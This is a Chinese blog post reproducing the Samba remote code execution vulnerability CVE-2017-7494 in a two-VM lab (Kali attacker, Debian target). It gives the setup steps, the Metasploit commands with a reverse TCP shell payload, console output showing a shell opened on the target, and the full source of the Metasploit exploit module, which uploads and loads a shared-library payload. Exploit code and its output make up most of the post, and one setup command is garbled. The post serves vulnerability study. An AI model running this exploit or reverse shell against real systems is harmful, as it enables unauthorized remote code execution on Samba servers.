一、复现环境搭建

搭建Debian和kali两个虚拟机: 攻击机:kali (192.168.217.162); 靶机:debian (192.168.217.150)。

二、Debian安装并配置samba

1、首先,下载安装samba服务器

# apt-get install samba

2、在debian下创建一个共享目录,我这里为/mnt/shared

# mkdir  /mnt/shared

3、配置samba服务器的配置文件/etc/samba/smb.conf,在最后添加:

[shared]
  comment = 'Share for work'
  path= /mnt/shared
  guest ok = yes
  public = yes
  writable = yes
  create mask = 0777

4、设置/mnt/shared权限

# chmod –R /mnt/sspaned

5、重启samba服务

# /etc/init.d/samba restart

三、设置攻击机kali

打开kali终端进入到metasploit的exploit目录下的linux文件夹,并新建一个smb文件夹,将攻击脚本放入其中:

# cd /usr/share/metasploit-framework/modules/exploits/linux
# mkdir smb
# wget https://raw.githubusercontent.com/hdm/metasploit-framework/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb

运行metasploit,开始进行攻击(攻击脚本被我重命名为(cve-2017-7494.rb)

# msfconsole
msf > use exploit/linux/smb/cve-2017-7494
msf exploit(cve-2017-7494) > set rhost 192.168.217.150
rhost => 192.168.217.150
msf exploit(cve-2017-7494) > set payload linux/x64/shell/reverse_tcp
payload => linux/x64/shell/reverse_tcp
msf exploit(cve-2017-7494) > set lhost 192.168.217.162
rhost => 192.168.217.162
msf exploit(cve-2017-7494) > run
[*] Started reverse TCP handler on 192.168.217.162:4444
[*] 192.168.217.150:445 - Using location \\192.168.217.150\shared\ for the path
[*] 192.168.217.150:445 - Payload is stored in //192.168.217.150/shared/ as WzyvkESS.so
[*] 192.168.217.150:445 - Trying location /volume1/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume1/shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume1/SHARED/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume1/Shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume2/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume2/shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume2/SHARED/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume2/Shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume3/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume3/shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume3/SHARED/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume3/Shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /shared/shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /shared/SHARED/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /shared/Shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /mnt/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /mnt/shared/WzyvkESS.so...
[*] Sending stage (38 bytes) to 192.168.217.150
[*] Command shell session 2 opened (192.168.217.162:4444 -> 192.168.217.150:56540) at 2017-05-26 01:17:48 -0400

id
uid=65534(nobody) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)

ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:6e:9a:4a
inet addr:192.168.217.150 Bcast:192.168.217.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe6e:9a4a/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:6769 errors:0 dropped:0 overruns:0 frame:0
TX packets:700 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:479898 (468.6 KiB) TX bytes:102796 (100.3 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:35 errors:0 dropped:0 overruns:0 frame:0
TX packets:35 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:3557 (3.4 KiB) TX bytes:3557 (3.4 KiB)

whoami
nobody

POC:

 ##
 # This module requires Metasploit: http://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##

 class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, 'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
       'Description'    => %q{
           This module triggers an arbitrary shared library load vulnerability
         in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
         requires valid credentials, a writeable folder in an accessible share,
         and knowledge of the server-side path of the writeable folder. In
         some cases, anonymous access combined with common filesystem locations
         can be used to automatically exploit this vulnerability.
       },
       'Author'         =>
         [
           'steelo <knownsteelo[at]gmail.com>',    # Vulnerability Discovery
           'hdm',                                  # Metasploit Module
         ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
           [ 'CVE', '2017-7494' ],
           [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
         ],
       'Payload'         =>
         {
           'Space'       => 9000,
           'DisableNops' => true
         },
       'Platform'        => 'linux',
       #
       # Targets are currently limited by platforms with ELF-SO payload wrappers
       #
       'Targets'         =>
         [
           [ 'Linux ARM (LE)',   { 'Arch' => ARCH_ARMLE } ],
           [ 'Linux x86',        { 'Arch' => ARCH_X86 } ],
           [ 'Linux x86_64',     { 'Arch' => ARCH_X64 } ],
         # [ 'Linux MIPS',       { 'Arch' => MIPS } ],
         ],
       'Privileged'      => true,
       'DisclosureDate'  => 'Mar 24 2017',
       'DefaultTarget'   => 2))

     register_options(
       [
         OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
         OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
         OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
       ])
   end

   def generate_common_locations
     candidates = []
     if datastore['SMB_SHARE_BASE'].to_s.length > 0
       candidates << datastore['SMB_SHARE_BASE']
     end

     %W{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name|
       candidates << base_name
       candidates << [base_name, @share]
       candidates << [base_name, @share.downcase]
       candidates << [base_name, @share.upcase]
       candidates << [base_name, @share.capitalize]
       candidates << [base_name, @share.gsub(" ", "_")]
     end

     candidates.uniq
   end

   def enumerate_directories(share)
     begin
       self.simple.connect("\\\\#{rhost}\\#{share}")
       stuff = self.simple.client.find_first("\\*")
       directories = [""]
       stuff.each_pair do |entry,entry_attr|
         next if %W{. ..}.include?(entry)
         next unless entry_attr['type'] == 'D'
         directories << entry end return directories rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
       vprint_error("Enum #{share}: #{e}")
       return nil

     ensure
       if self.simple.shares["\\\\#{rhost}\\#{share}"]
         self.simple.disconnect("\\\\#{rhost}\\#{share}")
       end
     end
   end

   def verify_writeable_directory(share, directory="")
     begin
       self.simple.connect("\\\\#{rhost}\\#{share}")

       random_filename = Rex::Text.rand_text_alpha(5)+".txt"
       filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"

       wfd = simple.open(filename, 'rwct')
       wfd << Rex::Text.rand_text_alpha(8) wfd.close simple.delete(filename) return true rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
       vprint_error("Write #{share}#{filename}: #{e}")
       return false

     ensure
       if self.simple.shares["\\\\#{rhost}\\#{share}"]
         self.simple.disconnect("\\\\#{rhost}\\#{share}")
       end
     end
   end

   def share_type(val)
     [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
   end

   def enumerate_shares_lanman
     shares = []
     begin
       res = self.simple.client.trans(
         "\\PIPE\\LANMAN",
         (
           [0x00].pack('v') +
           "WrLeh\x00"   +
           "B13BWz\x00"  +
           [0x01, 65406].pack("vv")
         ))
     rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
       vprint_error("Could not enumerate shares via LANMAN")
       return []
     end
     if res.nil?
       vprint_error("Could not enumerate shares via LANMAN")
       return []
     end

     lerror, lconv, lentries, lcount = res['Payload'].to_s[
       res['Payload'].v['ParamOffset'],
       res['Payload'].v['ParamCount']
     ].unpack("v4")

     data = res['Payload'].to_s[
       res['Payload'].v['DataOffset'],
       res['Payload'].v['DataCount']
     ]

     0.upto(lentries - 1) do |i|
       sname,tmp = data[(i * 20) +  0, 14].split("\x00")
       stype     = data[(i * 20) + 14, 2].unpack('v')[0]
       scoff     = data[(i * 20) + 16, 2].unpack('v')[0]
       scoff -= lconv if lconv != 0
       scomm,tmp = data[scoff, data.length - scoff].split("\x00")
       shares << [ sname, share_type(stype), scomm] end shares end def probe_module_path(path) begin simple.create_pipe(path) rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
       vprint_error("Probe: #{path}: #{e}")
     end
   end

   def find_writeable_path(share)
     subdirs = enumerate_directories(share)
     return unless subdirs

     if datastore['SMB_FOLDER'].to_s.length > 0
       subdirs.unshift(datastore['SMB_FOLDER'])
     end

     subdirs.each do |subdir|
       next unless verify_writeable_directory(share, subdir)
       return subdir
     end

     nil
   end

   def find_writeable_share_path
     @path = nil
     share_info = enumerate_shares_lanman
     if datastore['SMB_SHARE_NAME'].to_s.length > 0
       share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
     end

     share_info.each do |share|
       next if share.first.upcase == 'IPC$'
       found = find_writeable_path(share.first)
       next unless found
       @share = share.first
       @path  = found
       break
     end
   end

   def find_writeable
     find_writeable_share_path
     unless @share && @path
       print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
       fail_with(Failure::NoTarget, "No matching target")
     end
     print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
   end

   def upload_payload
     begin
       self.simple.connect("\\\\#{rhost}\\#{@share}")

       random_filename = Rex::Text.rand_text_alpha(8)+".so"
       filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
       wfd = simple.open(filename, 'rwct')
       wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
       )
       wfd.close

       @payload_name = random_filename
       return true

     rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
       print_error("Write #{@share}#{filename}: #{e}")
       return false

     ensure
       if self.simple.shares["\\\\#{rhost}\\#{@share}"]
         self.simple.disconnect("\\\\#{rhost}\\#{@share}")
       end
     end
   end

   def find_payload
     print_status("Payload is stored in //#{rhost}/#{@share}/#{@path} as #{@payload_name}")

     # Reconnect to IPC$
     simple.connect("\\\\#{rhost}\\IPC$")

     #
     # In a perfect world we would find a way make IPC$'s associated CWD
     # change to our share path, which would allow the following code:
     #
     # probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}")
     #

     # Until we find a better way, brute force based on common paths
     generate_common_locations.each do |location|
       target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
       print_status("Trying location #{target}...")
       probe_module_path(target)
     end
   end

   def exploit
     # Setup SMB
     connect
     smb_login

     # Find a writeable share
     find_writeable

     # Upload the shared library payload
     upload_payload

     # Find and execute the payload from the share
     find_payload rescue Rex::StreamClosedError

     # Shutdown
     disconnect
   end

 end

Samba远程代码执行漏洞(CVE-2017-7494)本地复现的更多相关文章

  1. Spring Data REST PATCH请求远程代码执行漏洞(CVE-2017-8046) 本地复现方法

      #1背景 Spring Data REST是Spring Data项目的一部分,可以轻松地在Spring Data存储库之上构建超媒体驱动的REST Web服务. 恶意的PATCH请求使用精心构造 ...

  2. Samba远程代码执行漏洞(CVE-2017-7494)复现

    简要记录一下Samba远程代码执行漏洞(CVE-2017-7494)环境搭建和利用的过程,献给那些想自己动手搭建环境的朋友.(虽然已过多时) 快捷通道:Docker ~ Samba远程代码执行漏洞(C ...

  3. PHP-FPM 远程代码执行漏洞(CVE-2019-11043)的简单复现学习

    1.概述 漏洞主要由于 PHP-FPM 中 sapi/ fpm/ fpm/ fpm_main.c 文件内的 env_path_info 下溢导致,攻击者可以使用换行符 %0a 破坏 Nginx 中 f ...

  4. Samba远程代码执行-分析(CVE-2017-7494)

    经历了前一阵windows的EternalBlue之后,某天看见了360的 samba高危预警,这个号称linux端的EternalBlue(EternalRed),于是便研究了一波 概述(抄) Sa ...

  5. 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  6. 服务器版“永恒之蓝”高危预警 (Samba远程命令执行漏洞CVE-2017-7494) 攻击演示

    漏洞信息: 2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.1 ...

  7. 【漏洞公告】Tomcat信息泄漏和远程代码执行漏洞:CVE-2017-12615/CVE-2017-12616

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  8. Apache Struts 远程代码执行漏洞(CVE-2013-4316)

    漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...

  9. MongoDB ‘conn’Mongo 对象远程代码执行漏洞

    漏洞名称: MongoDB ‘conn’Mongo 对象远程代码执行漏洞 CNNVD编号: CNNVD-201307-497 发布时间: 2013-07-25 更新时间: 2013-07-25 危害等 ...

随机推荐

  1. 开涛spring3(12.3) - 零配置 之 12.3 注解实现Bean定义

    12.3  注解实现Bean定义 12.3.1  概述 前边介绍的Bean定义全是基于XML方式定义配置元数据,且在[12.2注解实现Bean依赖注入]一节中介绍了通过注解来减少配置数量,但并没有完全 ...

  2. Spring Boot 学习(2)

    文 by / 林本托 Tips 做一个终身学习的人. 源代码:github下的/code01/ch2. 配置 Web 应用程序 在上一章中,我们学习了如何创建一个基本的应用程序模板,并添加了一些基本功 ...

  3. Git添加远程库和从远程库中获取(新手傻瓜式教学)

    一.    Git添加远程库 1.在本地新建一个文件夹,在该文件夹使用Git工具,运行$ git init,将该文件夹变为本地Git仓库,同时会生成一个隐藏的.git文件夹. 2.在该文件夹中用Not ...

  4. [原创]KVM虚拟化实践记录

    一.KVM简介KVM是开源软件,全称是kernel-based virtual machine(基于内核的虚拟机),是一个开源的系统虚拟化模块,基于硬件的完全虚拟化,不过需要硬件支持(如Intel V ...

  5. 用R语言做数据清理(详细教程)

    数据的清理 如同列夫托尔斯泰所说的那样:“幸福的家庭都是相似的,不幸的家庭各有各的不幸”,糟糕的恶心的数据各有各的糟糕之处,好的数据集都是相似的.一份好的,干净而整洁的数据至少包括以下几个要素: 1. ...

  6. 部署项目到weblogic时提示文件被锁,导致报错

    部署项目到weblogic中出现一个“黄叹号!”.报错如下: (1) Deployment is out of date due to changes in the underlying projec ...

  7. [HDU1001] Sum Problem

    Problem Description Hey, welcome to HDOJ(Hangzhou Dianzi University Online Judge). In this problem, ...

  8. poj2976(01分数规划)

    poj2976 题意 给出 a b 数组,一共 n 对数,其中最多可以去掉 k 对,问怎样使剩下比率(原始比率是 $ \frac{\sum_{i=1}^{n} a}{\sum_{i=1}^{n} b} ...

  9. 543. Diameter of Binary Tree

    https://leetcode.com/problems/diameter-of-binary-tree/#/description Given a binary tree, you need to ...

  10. (转)让浏览器支持Webp

    转载:https://segmentfault.com/a/1190000005898538?utm_source=tuicool&utm_medium=referral Webp介绍 web ...